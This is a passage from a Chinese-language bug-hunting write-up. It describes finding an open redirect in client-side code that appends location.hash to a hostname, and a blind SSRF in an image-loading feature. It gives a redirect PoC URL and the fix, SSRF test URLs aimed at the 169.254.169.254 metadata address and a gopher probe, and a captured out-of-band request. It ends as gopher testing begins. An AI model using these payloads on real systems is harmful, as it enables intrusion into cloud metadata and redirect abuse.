其实有时候,挖漏洞这事儿还是有点运气成分的,连续好几天,我都没挖到漏洞。
在胡乱点的时候,有一个站引起了我的兴趣,他的注册接口是这样的。
https://*/sss/yyyy?returnUrl=https://*/#/xxxx/xxx
我对url参数比较敏感,通常会先测试ssrf/xss,即使他大概率不存在,我也会测试下,很显然,半自动化工具没有发现任何ssrf和xss漏洞。
先注册了一个账号尝试登录下,但账号需要审核,我尝试绕过,但是失败。
那我就随便看看,都不抓包了,右键查看源代码,发现了这么一段代码。
if(location.hash){location="https://hostname" location.hash.substring(1);}
稍微学过一点js的也不会陌生。
不过我们还是要走一遍基础的测试流程,它使用 location.hash.* 去传递参数。
这个就是锚点符,常用于站内url跳转,记录#/后面的内容,其实这里的本意是做站内url跳转用的,不过这里没在hostname结尾处加/这个字符串,导致可以任意跳转。
我们简单测试下:
这个时候,如果我们想任意url跳转怎么办?
只需要让location.hash.substring(1)变成另一个我们的域名即可,构造poc如下:
http://example.com/#.dnslog.cn
他会直接跳转出信任域,实现任意页面url跳转
除了这样还可以通过 @domain 去跳转到第三方网站,更加方便!
修复方案也很简单:
if(location.hash){location="https://hostname/" location.hash.substring(1);}
至此,第三个漏洞就分享完了。
04 漏洞四:盲ssrf漏洞前面有提到过,一般我看到url参数都会尝试下ssrf/xss漏洞,这里我发现了一个图片加载功能,存在ssrf。
在分享ssrf实战案例之前,先给你分享个ssrf安全测试圣经:
https://github.com/cujanovic/SSRF-Testing
github上提供的测试用例:
https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg
如果想探测是否开放gopher,又不想触发waf,怎么做?
https://ssrf.localdomain.pw/img-without-body/301-gopher-{http://dnslog.cn}-.i.jpg
这个url地址是可以变化的,测试什么协议就变成什么协议,其他测试样本不再举例,类似的都可以随意转换。
这里尝试301跳转:
dnslog成功收到请求,注意User-Agent,是libwww,perl的一个请求依赖库:
GET / HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: http://bt8vfrpehb5ur0ldbb4o47c9s0yqmf.burpcollaborator.net
User-Agent: ImageVacuum/2.3.10 libwww-perl/6.57
使用上面的思路,测试下敏感协议,gopher协议: